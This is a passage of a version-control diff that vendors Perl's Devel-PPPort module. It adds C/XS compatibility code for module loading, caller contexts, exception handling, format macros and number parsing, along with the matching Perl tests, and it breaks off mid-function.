+    SvREFCNT_dec(sv);
+
+    SPAGAIN;
+    sv = POPs;
+    PUTBACK;
+
+    if (croak_on_error && SvTRUEx(ERRSV))
+        croak_sv(ERRSV);
+
+    return sv;
+}
+
+#endif
+#endif
+
+#ifndef vload_module
+#if { NEED vload_module }
+
+void
+vload_module(U32 flags, SV *name, SV *ver, va_list *args)
+{
+    dTHR;
+    dVAR;
+    OP *veop, *imop;
+
+    OP * const modname = newSVOP(OP_CONST, 0, name);
+    /* 5.005 has a somewhat hacky force_normal that doesn't croak on
+       SvREADONLY() if PL_compling is true. Current perls take care in
+       ck_require() to correctly turn off SvREADONLY before calling
+       force_normal_flags(). This seems a better fix than fudging PL_compling
+     */
+    SvREADONLY_off(((SVOP*)modname)->op_sv);
+    modname->op_private |= OPpCONST_BARE;
+    if (ver) {
+        veop = newSVOP(OP_CONST, 0, ver);
+    }
+    else
+        veop = NULL;
+    if (flags & PERL_LOADMOD_NOIMPORT) {
+        imop = sawparens(newNULLLIST());
+    }
+    else if (flags & PERL_LOADMOD_IMPORT_OPS) {
+        imop = va_arg(*args, OP*);
+    }
+    else {
+        SV *sv;
+        imop = NULL;
+        sv = va_arg(*args, SV*);
+        while (sv) {
+            imop = append_elem(OP_LIST, imop, newSVOP(OP_CONST, 0, sv));
+            sv = va_arg(*args, SV*);
+        }
+    }
+    {
+        const line_t ocopline = PL_copline;
+        COP * const ocurcop = PL_curcop;
+        const int oexpect = PL_expect;
+
+#if { VERSION >= 5.004 }
+        utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(FALSE, 0),
+                veop, modname, imop);
+#elif { VERSION > 5.003 }
+        utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(),
+                veop, modname, imop);
+#else
+        utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(),
+                modname, imop);
+#endif
+        PL_expect = oexpect;
+        PL_copline = ocopline;
+        PL_curcop = ocurcop;
+    }
+}
+
+#endif
+#endif
+
+#ifndef load_module
+#if { NEED load_module }
+
+void
+load_module(U32 flags, SV *name, SV *ver, ...)
+{
+    va_list args;
+    va_start(args, ver);
+    vload_module(flags, name, ver, &args);
+    va_end(args);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_eval_pv
+#define NEED_load_module
+#define NEED_vload_module
+
+=xsubs
+
+I32
+G_SCALAR()
+        CODE:
+                RETVAL = G_SCALAR;
+        OUTPUT:
+                RETVAL
+
+I32
+G_ARRAY()
+        CODE:
+                RETVAL = G_ARRAY;
+        OUTPUT:
+                RETVAL
+
+I32
+G_DISCARD()
+        CODE:
+                RETVAL = G_DISCARD;
+        OUTPUT:
+                RETVAL
+
+void
+eval_sv(sv, flags)
+        SV* sv
+        I32 flags
+        PREINIT:
+                I32 i;
+        PPCODE:
+                PUTBACK;
+                i = eval_sv(sv, flags);
+                SPAGAIN;
+                EXTEND(SP, 1);
+                mPUSHi(i);
+
+void
+eval_pv(p, croak_on_error)
+        char* p
+        I32 croak_on_error
+        PPCODE:
+                PUTBACK;
+                EXTEND(SP, 1);
+                PUSHs(eval_pv(p, croak_on_error));
+
+void
+call_sv(sv, flags, ...)
+        SV* sv
+        I32 flags
+        PREINIT:
+                I32 i;
+        PPCODE:
+                for (i=0; i<items-2; i++)
+                  ST(i) = ST(i+2); /* pop first two args */
+                PUSHMARK(SP);
+                SP += items - 2;
+                PUTBACK;
+                i = call_sv(sv, flags);
+                SPAGAIN;
+                EXTEND(SP, 1);
+                mPUSHi(i);
+
+void
+call_pv(subname, flags, ...)
+        char* subname
+        I32 flags
+        PREINIT:
+                I32 i;
+        PPCODE:
+                for (i=0; i<items-2; i++)
+                  ST(i) = ST(i+2); /* pop first two args */
+                PUSHMARK(SP);
+                SP += items - 2;
+                PUTBACK;
+                i = call_pv(subname, flags);
+                SPAGAIN;
+                EXTEND(SP, 1);
+                mPUSHi(i);
+
+void
+call_argv(subname, flags, ...)
+        char* subname
+        I32 flags
+        PREINIT:
+                I32 i;
+                char *args[8];
+        PPCODE:
+                if (items > 8)  /* play safe */
+                  XSRETURN_UNDEF;
+                for (i=2; i<items; i++)
+                  args[i-2] = SvPV_nolen(ST(i));
+                args[items-2] = NULL;
+                PUTBACK;
+                i = call_argv(subname, flags, args);
+                SPAGAIN;
+                EXTEND(SP, 1);
+                mPUSHi(i);
+
+void
+call_method(methname, flags, ...)
+        char* methname
+        I32 flags
+        PREINIT:
+                I32 i;
+        PPCODE:
+                for (i=0; i<items-2; i++)
+                  ST(i) = ST(i+2); /* pop first two args */
+                PUSHMARK(SP);
+                SP += items - 2;
+                PUTBACK;
+                i = call_method(methname, flags);
+                SPAGAIN;
+                EXTEND(SP, 1);
+                mPUSHi(i);
+
+void
+call_sv_G_METHOD(sv, flags, ...)
+        SV* sv
+        I32 flags
+        PREINIT:
+                I32 i;
+        PPCODE:
+                for (i=0; i<items-2; i++)
+                  ST(i) = ST(i+2); /* pop first two args */
+                PUSHMARK(SP);
+                SP += items - 2;
+                PUTBACK;
+                i = call_sv(sv, flags | G_METHOD);
+                SPAGAIN;
+                EXTEND(SP, 1);
+                mPUSHi(i);
+
+void
+load_module(flags, name, version, ...)
+        U32 flags
+        SV *name
+        SV *version
+        CODE:
+                /* Both SV parameters are donated to the ops built inside
+                   load_module, so we need to bump the refcounts.  */
+                Perl_load_module(aTHX_ flags, SvREFCNT_inc_simple(name),
+                                 SvREFCNT_inc_simple(version), NULL);
+
+=tests plan => 52
+
+sub eq_array
+{
+  my($a, $b) = @_;
+  join(':', @$a) eq join(':', @$b);
+}
+
+sub f
+{
+  shift;
+  unshift @_, 'b';
+  pop @_;
+  @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $obj = bless [], 'Foo';
+
+sub Foo::meth
+{
+  return 'bad_self' unless @_ && ref $_[0] && ref($_[0]) eq 'Foo';
+  shift;
+  shift;
+  unshift @_, 'b';
+  pop @_;
+  @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $test;
+
+for $test (
+    # flags                      args           expected         description
+    [ &Devel::PPPort::G_SCALAR,  [ ],           [ qw(y 1) ],     '0 args, G_SCALAR'  ],
+    [ &Devel::PPPort::G_SCALAR,  [ qw(a p q) ], [ qw(y 1) ],     '3 args, G_SCALAR'  ],
+    [ &Devel::PPPort::G_ARRAY,   [ ],           [ qw(x 1) ],     '0 args, G_ARRAY'   ],
+    [ &Devel::PPPort::G_ARRAY,   [ qw(a p q) ], [ qw(b p x 3) ], '3 args, G_ARRAY'   ],
+    [ &Devel::PPPort::G_DISCARD, [ ],           [ qw(0) ],       '0 args, G_DISCARD' ],
+    [ &Devel::PPPort::G_DISCARD, [ qw(a p q) ], [ qw(0) ],       '3 args, G_DISCARD' ],
+)
+{
+    my ($flags, $args, $expected, $description) = @$test;
+    print "# --- $description ---\n";
+    ok(eq_array( [ &Devel::PPPort::call_sv(\&f, $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_sv(*f,  $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_sv('f', $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_pv('f', $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_argv('f', $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::eval_sv("f(qw(@$args))", $flags) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_method('meth', $flags, $obj, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_sv_G_METHOD('meth', $flags, $obj, @$args) ], $expected));
+};
+
+ok(&Devel::PPPort::eval_pv('f()', 0), 'y');
+ok(&Devel::PPPort::eval_pv('f(qw(a b c))', 0), 'y');
+
+ok(!defined $::{'less::'}, 1, "Hadn't loaded less yet");
+Devel::PPPort::load_module(0, "less", undef);
+ok(defined $::{'less::'}, 1, "Have now loaded less");

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/cop
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/cop	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/cop	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,231 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+caller_cx
+__UNDEFINED__
+
+=implementation
+
+#ifdef USE_ITHREADS
+
+__UNDEFINED__  CopFILE(c)               ((c)->cop_file)
+__UNDEFINED__  CopFILEGV(c)             (CopFILE(c) ? gv_fetchfile(CopFILE(c)) : Nullgv)
+__UNDEFINED__  CopFILE_set(c,pv)        ((c)->cop_file = savepv(pv))
+__UNDEFINED__  CopFILESV(c)             (CopFILE(c) ? GvSV(gv_fetchfile(CopFILE(c))) : Nullsv)
+__UNDEFINED__  CopFILEAV(c)             (CopFILE(c) ? GvAV(gv_fetchfile(CopFILE(c))) : Nullav)
+__UNDEFINED__  CopSTASHPV(c)            ((c)->cop_stashpv)
+__UNDEFINED__  CopSTASHPV_set(c,pv)     ((c)->cop_stashpv = ((pv) ? savepv(pv) : Nullch))
+__UNDEFINED__  CopSTASH(c)              (CopSTASHPV(c) ? gv_stashpv(CopSTASHPV(c),GV_ADD) : Nullhv)
+__UNDEFINED__  CopSTASH_set(c,hv)       CopSTASHPV_set(c, (hv) ? HvNAME(hv) : Nullch)
+__UNDEFINED__  CopSTASH_eq(c,hv)        ((hv) && (CopSTASHPV(c) == HvNAME(hv) \
+                                        || (CopSTASHPV(c) && HvNAME(hv) \
+                                        && strEQ(CopSTASHPV(c), HvNAME(hv)))))
+
+#else
+
+__UNDEFINED__  CopFILEGV(c)             ((c)->cop_filegv)
+__UNDEFINED__  CopFILEGV_set(c,gv)      ((c)->cop_filegv = (GV*)SvREFCNT_inc(gv))
+__UNDEFINED__  CopFILE_set(c,pv)        CopFILEGV_set((c), gv_fetchfile(pv))
+__UNDEFINED__  CopFILESV(c)             (CopFILEGV(c) ? GvSV(CopFILEGV(c)) : Nullsv)
+__UNDEFINED__  CopFILEAV(c)             (CopFILEGV(c) ? GvAV(CopFILEGV(c)) : Nullav)
+__UNDEFINED__  CopFILE(c)               (CopFILESV(c) ? SvPVX(CopFILESV(c)) : Nullch)
+__UNDEFINED__  CopSTASH(c)              ((c)->cop_stash)
+__UNDEFINED__  CopSTASH_set(c,hv)       ((c)->cop_stash = (hv))
+__UNDEFINED__  CopSTASHPV(c)            (CopSTASH(c) ? HvNAME(CopSTASH(c)) : Nullch)
+__UNDEFINED__  CopSTASHPV_set(c,pv)     CopSTASH_set((c), gv_stashpv(pv,GV_ADD))
+__UNDEFINED__  CopSTASH_eq(c,hv)        (CopSTASH(c) == (hv))
+
+#endif /* USE_ITHREADS */
+
+#if { VERSION >= 5.6.0 }
+#ifndef caller_cx
+
+# if defined(NEED_caller_cx) || defined(NEED_caller_cx_GLOBAL)
+static I32
+DPPP_dopoptosub_at(const PERL_CONTEXT *cxstk, I32 startingblock)
+{
+    I32 i;
+
+    for (i = startingblock; i >= 0; i--) {
+	register const PERL_CONTEXT * const cx = &cxstk[i];
+	switch (CxTYPE(cx)) {
+	default:
+	    continue;
+	case CXt_EVAL:
+	case CXt_SUB:
+	case CXt_FORMAT:
+	    return i;
+	}
+    }
+    return i;
+}
+# endif
+
+# if { NEED caller_cx }
+
+const PERL_CONTEXT *
+caller_cx(pTHX_ I32 count, const PERL_CONTEXT **dbcxp)
+{
+    register I32 cxix = DPPP_dopoptosub_at(cxstack, cxstack_ix);
+    register const PERL_CONTEXT *cx;
+    register const PERL_CONTEXT *ccstack = cxstack;
+    const PERL_SI *top_si = PL_curstackinfo;
+
+    for (;;) {
+	/* we may be in a higher stacklevel, so dig down deeper */
+	while (cxix < 0 && top_si->si_type != PERLSI_MAIN) {
+	    top_si = top_si->si_prev;
+	    ccstack = top_si->si_cxstack;
+	    cxix = DPPP_dopoptosub_at(ccstack, top_si->si_cxix);
+	}
+	if (cxix < 0)
+	    return NULL;
+	/* caller() should not report the automatic calls to &DB::sub */
+	if (PL_DBsub && GvCV(PL_DBsub) && cxix >= 0 &&
+		ccstack[cxix].blk_sub.cv == GvCV(PL_DBsub))
+	    count++;
+	if (!count--)
+	    break;
+	cxix = DPPP_dopoptosub_at(ccstack, cxix - 1);
+    }
+
+    cx = &ccstack[cxix];
+    if (dbcxp) *dbcxp = cx;
+
+    if (CxTYPE(cx) == CXt_SUB || CxTYPE(cx) == CXt_FORMAT) {
+        const I32 dbcxix = DPPP_dopoptosub_at(ccstack, cxix - 1);
+	/* We expect that ccstack[dbcxix] is CXt_SUB, anyway, the
+	   field below is defined for any cx. */
+	/* caller() should not report the automatic calls to &DB::sub */
+	if (PL_DBsub && GvCV(PL_DBsub) && dbcxix >= 0 && ccstack[dbcxix].blk_sub.cv == GvCV(PL_DBsub))
+	    cx = &ccstack[dbcxix];
+    }
+
+    return cx;
+}
+
+# endif
+#endif /* caller_cx */
+#endif /* 5.6.0 */
+
+=xsinit
+
+#define NEED_caller_cx
+
+=xsubs
+
+char *
+CopSTASHPV()
+        CODE:
+                RETVAL = CopSTASHPV(PL_curcop);
+        OUTPUT:
+                RETVAL
+
+char *
+CopFILE()
+        CODE:
+                RETVAL = CopFILE(PL_curcop);
+        OUTPUT:
+                RETVAL
+
+#if { VERSION >= 5.6.0 }
+
+void
+caller_cx(level)
+        I32 level
+    PREINIT:
+        const PERL_CONTEXT *cx, *dbcx;
+        const char *pv;
+        const GV *gv;
+    PPCODE:
+        cx = caller_cx(level, &dbcx);
+        if (!cx) XSRETURN_EMPTY;
+
+        EXTEND(SP, 4);
+
+        pv = CopSTASHPV(cx->blk_oldcop);
+        ST(0) = pv ? sv_2mortal(newSVpv(pv, 0)) : &PL_sv_undef;
+        gv = CvGV(cx->blk_sub.cv);
+        ST(1) = isGV(gv) ? sv_2mortal(newSVpv(GvNAME(gv), 0)) : &PL_sv_undef;
+
+        pv = CopSTASHPV(dbcx->blk_oldcop);
+        ST(2) = pv ? sv_2mortal(newSVpv(pv, 0)) : &PL_sv_undef;
+        gv = CvGV(dbcx->blk_sub.cv);
+        ST(3) = isGV(gv) ? sv_2mortal(newSVpv(GvNAME(gv), 0)) : &PL_sv_undef;
+
+        XSRETURN(4);
+
+#endif /* 5.6.0 */
+
+=tests plan => 28
+
+my $package;
+{
+  package MyPackage;
+  $package = &Devel::PPPort::CopSTASHPV();
+}
+print "# $package\n";
+ok($package, "MyPackage");
+
+my $file = &Devel::PPPort::CopFILE();
+print "# $file\n";
+ok($file =~ /cop/i);
+
+BEGIN {
+  if ($] < 5.006000) {
+    # Skip
+    for (1..28) {
+      ok(1, 1);
+    }
+    exit;
+  }
+}
+
+BEGIN {
+    package DB;
+    no strict "refs";
+    local $^P = 1;
+    sub sub { &$DB::sub }
+}
+
+{ package One; sub one { Devel::PPPort::caller_cx($_[0]) } }
+{
+    package Two;
+    sub two { One::one(@_) }
+    sub dbtwo {
+        BEGIN { $^P = 1 }
+        One::one(@_);
+        BEGIN { $^P = 0 }
+    }
+}
+
+for (
+    # This is rather confusing. The package is the package the call is
+    # made *from*, the sub name is the sub the call is made *to*. When
+    # DB::sub is involved the first call is to DB::sub from the calling
+    # package, the second is to the real sub from package DB.
+    [\&One::one, 0, qw/main one main one/],
+    [\&One::one, 2, ],
+    [\&Two::two, 0, qw/Two one Two one/],
+    [\&Two::two, 1, qw/main two main two/],
+    [\&Two::dbtwo, 0, qw/Two sub DB one/],
+    [\&Two::dbtwo, 1, qw/main dbtwo main dbtwo/],
+) {
+    my ($sub, $arg, @want) = @$_;
+    my @got = $sub->($arg);
+    ok(@got, @want);
+    for (0..$#want) {
+        ok($got[$_], $want[$_]);
+    }
+}
+

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/exception
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/exception	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/exception	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,68 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+dXCPT
+XCPT_TRY_START
+XCPT_TRY_END
+XCPT_CATCH
+XCPT_RETHROW
+
+=implementation
+
+#ifdef NO_XSLOCKS
+#  ifdef dJMPENV
+#    define dXCPT             dJMPENV; int rEtV = 0
+#    define XCPT_TRY_START    JMPENV_PUSH(rEtV); if (rEtV == 0)
+#    define XCPT_TRY_END      JMPENV_POP;
+#    define XCPT_CATCH        if (rEtV != 0)
+#    define XCPT_RETHROW      JMPENV_JUMP(rEtV)
+#  else
+#    define dXCPT             Sigjmp_buf oldTOP; int rEtV = 0
+#    define XCPT_TRY_START    Copy(top_env, oldTOP, 1, Sigjmp_buf); rEtV = Sigsetjmp(top_env, 1); if (rEtV == 0)
+#    define XCPT_TRY_END      Copy(oldTOP, top_env, 1, Sigjmp_buf);
+#    define XCPT_CATCH        if (rEtV != 0)
+#    define XCPT_RETHROW      Siglongjmp(top_env, rEtV)
+#  endif
+#endif
+
+=xsmisc
+
+/* defined in module3.c */
+int exception(int throw_e);
+
+=xsubs
+
+int
+exception(throw_e)
+  int throw_e
+  OUTPUT:
+    RETVAL
+
+=tests plan => 7
+
+my $rv;
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(0) };
+ok($@, '');
+ok(defined $rv);
+ok($rv, 42);
+ok($Devel::PPPort::exception_caught, 0);
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(1) };
+ok($@, "boo\n");
+ok(not defined $rv);
+ok($Devel::PPPort::exception_caught, 1);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/format
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/format	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/format	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,63 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+/^#\s*define\s+(\w+)/
+
+=implementation
+
+#ifndef IVdf
+#  if IVSIZE == LONGSIZE
+#    define     IVdf      "ld"
+#    define     UVuf      "lu"
+#    define     UVof      "lo"
+#    define     UVxf      "lx"
+#    define     UVXf      "lX"
+#  elif IVSIZE == INTSIZE
+#    define   IVdf      "d"
+#    define   UVuf      "u"
+#    define   UVof      "o"
+#    define   UVxf      "x"
+#    define   UVXf      "X"
+#  else
+#    error "cannot define IV/UV formats"
+#  endif
+#endif
+
+#ifndef NVef
+#  if defined(USE_LONG_DOUBLE) && defined(HAS_LONG_DOUBLE) && \
+      defined(PERL_PRIfldbl) && { VERSION != 5.6.0 }
+            /* Not very likely, but let's try anyway. */
+#    define NVef          PERL_PRIeldbl
+#    define NVff          PERL_PRIfldbl
+#    define NVgf          PERL_PRIgldbl
+#  else
+#    define NVef          "e"
+#    define NVff          "f"
+#    define NVgf          "g"
+#  endif
+#endif
+
+=xsubs
+
+void
+croak_NVgf(num)
+        NV num
+        PPCODE:
+                Perl_croak(aTHX_ "%.20" NVgf "\n", num);
+
+=tests plan => 1
+
+my $num = 1.12345678901234567890;
+
+eval { Devel::PPPort::croak_NVgf($num) };
+ok($@ =~ /^1.1234567890/);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/grok
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/grok	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/grok	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,670 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+grok_hex
+grok_oct
+grok_bin
+grok_numeric_radix
+grok_number
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__  IN_PERL_COMPILETIME    (PL_curcop == &PL_compiling)
+__UNDEFINED__  IN_LOCALE_RUNTIME      (PL_curcop->op_private & HINT_LOCALE)
+__UNDEFINED__  IN_LOCALE_COMPILETIME  (PL_hints & HINT_LOCALE)
+__UNDEFINED__  IN_LOCALE              (IN_PERL_COMPILETIME ? IN_LOCALE_COMPILETIME : IN_LOCALE_RUNTIME)
+
+__UNDEFINED__  IS_NUMBER_IN_UV                 0x01
+__UNDEFINED__  IS_NUMBER_GREATER_THAN_UV_MAX   0x02
+__UNDEFINED__  IS_NUMBER_NOT_INT               0x04
+__UNDEFINED__  IS_NUMBER_NEG                   0x08
+__UNDEFINED__  IS_NUMBER_INFINITY              0x10
+__UNDEFINED__  IS_NUMBER_NAN                   0x20
+
+__UNDEFINED__  GROK_NUMERIC_RADIX(sp, send) grok_numeric_radix(sp, send)
+
+__UNDEFINED__  PERL_SCAN_GREATER_THAN_UV_MAX   0x02
+__UNDEFINED__  PERL_SCAN_SILENT_ILLDIGIT       0x04
+__UNDEFINED__  PERL_SCAN_ALLOW_UNDERSCORES     0x01
+__UNDEFINED__  PERL_SCAN_DISALLOW_PREFIX       0x02
+
+#ifndef grok_numeric_radix
+#if { NEED grok_numeric_radix }
+bool
+grok_numeric_radix(pTHX_ const char **sp, const char *send)
+{
+#ifdef USE_LOCALE_NUMERIC
+#ifdef PL_numeric_radix_sv
+    if (PL_numeric_radix_sv && IN_LOCALE) {
+        STRLEN len;
+        char* radix = SvPV(PL_numeric_radix_sv, len);
+        if (*sp + len <= send && memEQ(*sp, radix, len)) {
+            *sp += len;
+            return TRUE;
+        }
+    }
+#else
+    /* older perls don't have PL_numeric_radix_sv so the radix
+     * must manually be requested from locale.h
+     */
+#include <locale.h>
+    dTHR;  /* needed for older threaded perls */
+    struct lconv *lc = localeconv();
+    char *radix = lc->decimal_point;
+    if (radix && IN_LOCALE) {
+        STRLEN len = strlen(radix);
+        if (*sp + len <= send && memEQ(*sp, radix, len)) {
+            *sp += len;
+            return TRUE;
+        }
+    }
+#endif
+#endif /* USE_LOCALE_NUMERIC */
+    /* always try "." if numeric radix didn't match because
+     * we may have data from different locales mixed */
+    if (*sp < send && **sp == '.') {
+        ++*sp;
+        return TRUE;
+    }
+    return FALSE;
+}
+#endif
+#endif
+
+#ifndef grok_number
+#if { NEED grok_number }
+int
+grok_number(pTHX_ const char *pv, STRLEN len, UV *valuep)
+{
+  const char *s = pv;
+  const char *send = pv + len;
+  const UV max_div_10 = UV_MAX / 10;
+  const char max_mod_10 = UV_MAX % 10;
+  int numtype = 0;
+  int sawinf = 0;
+  int sawnan = 0;
+
+  while (s < send && isSPACE(*s))
+    s++;
+  if (s == send) {
+    return 0;
+  } else if (*s == '-') {
+    s++;
+    numtype = IS_NUMBER_NEG;
+  }
+  else if (*s == '+')
+  s++;
+
+  if (s == send)
+    return 0;
+
+  /* next must be digit or the radix separator or beginning of infinity */
+  if (isDIGIT(*s)) {
+    /* UVs are at least 32 bits, so the first 9 decimal digits cannot
+       overflow.  */
+    UV value = *s - '0';
+    /* This construction seems to be more optimiser friendly.
+       (without it gcc does the isDIGIT test and the *s - '0' separately)
+       With it gcc on arm is managing 6 instructions (6 cycles) per digit.
+       In theory the optimiser could deduce how far to unroll the loop
+       before checking for overflow.  */
+    if (++s < send) {
+      int digit = *s - '0';
+      if (digit >= 0 && digit <= 9) {
+        value = value * 10 + digit;
+        if (++s < send) {
+          digit = *s - '0';
+          if (digit >= 0 && digit <= 9) {
+            value = value * 10 + digit;
+            if (++s < send) {
+              digit = *s - '0';
+              if (digit >= 0 && digit <= 9) {
+                value = value * 10 + digit;
+                if (++s < send) {
+                  digit = *s - '0';
+                  if (digit >= 0 && digit <= 9) {
+                    value = value * 10 + digit;
+                    if (++s < send) {
+                      digit = *s - '0';
+                      if (digit >= 0 && digit <= 9) {
+                        value = value * 10 + digit;
+                        if (++s < send) {
+                          digit = *s - '0';
+                          if (digit >= 0 && digit <= 9) {
+                            value = value * 10 + digit;
+                            if (++s < send) {
+                              digit = *s - '0';
+                              if (digit >= 0 && digit <= 9) {
+                                value = value * 10 + digit;
+                                if (++s < send) {
+                                  digit = *s - '0';
+                                  if (digit >= 0 && digit <= 9) {
+                                    value = value * 10 + digit;
+                                    if (++s < send) {
+                                      /* Now got 9 digits, so need to check
+                                         each time for overflow.  */
+                                      digit = *s - '0';
+                                      while (digit >= 0 && digit <= 9
+                                             && (value < max_div_10
+                                                 || (value == max_div_10
+                                                     && digit <= max_mod_10))) {
+                                        value = value * 10 + digit;
+                                        if (++s < send)
+                                          digit = *s - '0';
+                                        else
+                                          break;
+                                      }
+                                      if (digit >= 0 && digit <= 9
+                                          && (s < send)) {
+                                        /* value overflowed.
+                                           skip the remaining digits, don't
+                                           worry about setting *valuep.  */
+                                        do {
+                                          s++;
+                                        } while (s < send && isDIGIT(*s));
+                                        numtype |=
+                                          IS_NUMBER_GREATER_THAN_UV_MAX;
+                                        goto skip_value;
+                                      }
+                                    }
+                                  }
+                                }
+                              }
+                            }
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+    numtype |= IS_NUMBER_IN_UV;
+    if (valuep)
+      *valuep = value;
+
+  skip_value:
+    if (GROK_NUMERIC_RADIX(&s, send)) {
+      numtype |= IS_NUMBER_NOT_INT;
+      while (s < send && isDIGIT(*s))  /* optional digits after the radix */
+        s++;
+    }
+  }
+  else if (GROK_NUMERIC_RADIX(&s, send)) {
+    numtype |= IS_NUMBER_NOT_INT | IS_NUMBER_IN_UV; /* valuep assigned below */
+    /* no digits before the radix means we need digits after it */
+    if (s < send && isDIGIT(*s)) {
+      do {
+        s++;
+      } while (s < send && isDIGIT(*s));
+      if (valuep) {
+        /* integer approximation is valid - it's 0.  */
+        *valuep = 0;
+      }
+    }
+    else
+      return 0;
+  } else if (*s == 'I' || *s == 'i') {
+    s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+    s++; if (s == send || (*s != 'F' && *s != 'f')) return 0;
+    s++; if (s < send && (*s == 'I' || *s == 'i')) {
+      s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+      s++; if (s == send || (*s != 'I' && *s != 'i')) return 0;
+      s++; if (s == send || (*s != 'T' && *s != 't')) return 0;
+      s++; if (s == send || (*s != 'Y' && *s != 'y')) return 0;
+      s++;
+    }
+    sawinf = 1;
+  } else if (*s == 'N' || *s == 'n') {
+    /* XXX TODO: There are signaling NaNs and quiet NaNs. */
+    s++; if (s == send || (*s != 'A' && *s != 'a')) return 0;
+    s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+    s++;
+    sawnan = 1;
+  } else
+    return 0;
+
+  if (sawinf) {
+    numtype &= IS_NUMBER_NEG; /* Keep track of sign  */
+    numtype |= IS_NUMBER_INFINITY | IS_NUMBER_NOT_INT;
+  } else if (sawnan) {
+    numtype &= IS_NUMBER_NEG; /* Keep track of sign  */
+    numtype |= IS_NUMBER_NAN | IS_NUMBER_NOT_INT;
+  } else if (s < send) {
+    /* we can have an optional exponent part */
+    if (*s == 'e' || *s == 'E') {
+      /* The only flag we keep is sign.  Blow away any "it's UV"  */
+      numtype &= IS_NUMBER_NEG;
+      numtype |= IS_NUMBER_NOT_INT;
+      s++;
+      if (s < send && (*s == '-' || *s == '+'))
+        s++;
+      if (s < send && isDIGIT(*s)) {
+        do {
+          s++;
+        } while (s < send && isDIGIT(*s));
+      }
+      else
+      return 0;
+    }
+  }
+  while (s < send && isSPACE(*s))
+    s++;
+  if (s >= send)
+    return numtype;
+  if (len == 10 && memEQ(pv, "0 but true", 10)) {
+    if (valuep)
+      *valuep = 0;
+    return IS_NUMBER_IN_UV;
+  }
+  return 0;
+}
+#endif
+#endif
+
+/*
+ * The grok_* routines have been modified to use warn() instead of
+ * Perl_warner(). Also, 'hexdigit' was the former name of PL_hexdigit,
+ * which is why the stack variable has been renamed to 'xdigit'.
+ */
+
+#ifndef grok_bin
+#if { NEED grok_bin }
+UV
+grok_bin(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+    const char *s = start;
+    STRLEN len = *len_p;
+    UV value = 0;
+    NV value_nv = 0;
+
+    const UV max_div_2 = UV_MAX / 2;
+    bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+    bool overflowed = FALSE;
+
+    if (!(*flags & PERL_SCAN_DISALLOW_PREFIX)) {
+        /* strip off leading b or 0b.
+           for compatibility silently suffer "b" and "0b" as valid binary
+           numbers. */
+        if (len >= 1) {
+            if (s[0] == 'b') {
+                s++;
+                len--;
+            }
+            else if (len >= 2 && s[0] == '0' && s[1] == 'b') {
+                s+=2;
+                len-=2;
+            }
+        }
+    }
+
+    for (; len-- && *s; s++) {
+        char bit = *s;
+        if (bit == '0' || bit == '1') {
+            /* Write it in this wonky order with a goto to attempt to get the
